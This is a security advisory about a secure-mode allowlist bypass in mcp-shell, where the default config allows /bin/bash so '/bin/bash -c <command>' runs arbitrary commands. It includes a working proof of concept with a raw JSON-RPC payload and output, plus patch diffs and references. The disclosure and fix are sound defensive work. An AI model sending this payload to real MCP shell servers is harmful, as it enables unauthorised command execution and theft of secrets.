Summary
mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable
Advisory details
Summary
mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowed_executables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shell_exec tool and execute commands that are not in the allowlist — including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.
Details
mcp-shell implements a secure mode in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:
# security.yaml (line 29)
allowed_executables:
- "ls"
- ...
- "/bin/bash" # Only allow if you trust the arguments
The comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:
// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
if v.matchesExecutable(executable, allowed) {
if err := v.checkBlockedPatternsAndCommands(command); err != nil {
return err
}
return nil
}
}
executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], `, $, \, ", ') and a configurable list of blocked_commands/blocked_patterns — both of which default to empty arrays in the shipped configuration. The flag -c does not match any blocked metacharacter, so the check passes.
The validated command then reaches the executor:
// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)
parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly — no shell is spawned by the executor itself — but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.
Data flow (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | Dockerfile:55 |
COPY security.yaml /etc/mcp-shell/security.yaml — bundles vulnerable config into image |
| 2 | Dockerfile:57 |
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml — activates config by default |
| 3 | security.yaml:29 |
/bin/bash registered in allowed_executables |
| 4 | main.go:84-102 |
MCP tool shell_exec registered with required command parameter |
| 5 | handler.go:34 |
command := request.RequireString("command") — attacker-controlled input received |
| 6 | handler.go:49 |
h.validator.validateCommand(command) — validation called |
| 7 | security.go:67-96 |
executable = parts[0] matches /bin/bash; -c not blocked; returns nil |
| 8 | handler.go:59 |
Validated command forwarded to executor |
| 9 | executor.go:163 |
exec.CommandContext(ctx, "/bin/bash", "-c", "id") — sink: arbitrary execution |
PoC
Prerequisites:
- Docker installed and accessible.
- Repository source code checked out (build context is the repository root).
python3available (for the automated PoC script).
Step 1 — Build the Docker image
docker build \
-f vuln-001/Dockerfile \
/path/to/mcp-shell-repo \
-t mcp-shell-vuln-001:latest
Step 2 — Run the PoC script
python3 vuln-001/poc.py mcp-shell-vuln-001:latest
The script sends three MCP JSON-RPC requests over stdio:
initializehandshaketools/call shell_execwithcommand="/bin/bash -c id"— exploit payloadtools/call shell_execwithcommand="id"— control: direct invocation must be blocked
Expected output (exploit success):
[id=2] /bin/bash -c id response:
→ status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'
[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution successful!
[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
→ allowlist bypass /bin/bash -c only through the path occurs proven
Alternatively, using raw printf (no Python required):
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latest
Observed MCP response:
{
"command": "/bin/bash -c id",
"execution_time": "3.854555ms",
"exit_code": 0,
"security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
"status": "success",
"stderr": "",
"stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}
Remediation (patch guidance):
- Remove shell interpreters from the default
security.yamlallowlist:
--- a/security.yaml
+++ b/security.yaml
- - "/bin/bash" # Only allow if you trust the arguments
- Add argument-level validation in
security.goto block shell command-mode flags even when a shell interpreter is allowlisted:
--- a/security.go
+++ b/security.go
executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+ return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }
// Check if the executable is in the allowlist
for _, allowed := range v.config.AllowedExecutables {
...
}
+
+ func isShellCommandMode(executable string, args []string) bool {
+ base := filepath.Base(executable)
+ switch base {
+ case "sh", "bash", "dash", "ash", "zsh", "ksh":
+ for _, arg := range args {
+ if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+ return true
+ }
+ }
+ }
+ return false
+ }
Impact
This is an OS Command Injection vulnerability (CWE-78). The shell_exec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. — all installed by the Dockerfile) under the identity of mcpuser (UID 1000).
Who is impacted:
- Any operator deploying the official Docker image without modifying the default
security.yamlis vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required. - MCP clients that interact with a vulnerable
mcp-shellinstance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible tomcpuser, or pivot further within the container's network. - The
--network=noneflag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral mov
References
- https://github.com/advisories/GHSA-3x77-wg38-92r3
- https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3
- https://github.com/sonirico/mcp-shell/pull/16
- https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f
- https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-73222
Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)
- HIGHCVE-2026-73667
OpenChoreo: Authenticated OS command injection via OpenChoreo Workflow Plane templates enables code execution in privileged pods
- HIGHCVE-2026-62388
NLTK: Default ENFORCE=False Disables All pathsec Security Controls
- HIGHCVE-2026-55673
PowSyBl Core has Command Injection in LocalCommandExecutor-s
- CRITICALCVE-2026-45018
Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution
- HIGHCVE-2026-55580
mcp-shell — Security Disabled by Default in Bare-Binary Deploy Path + Shell Interpreter in Secure-Mode Allowlist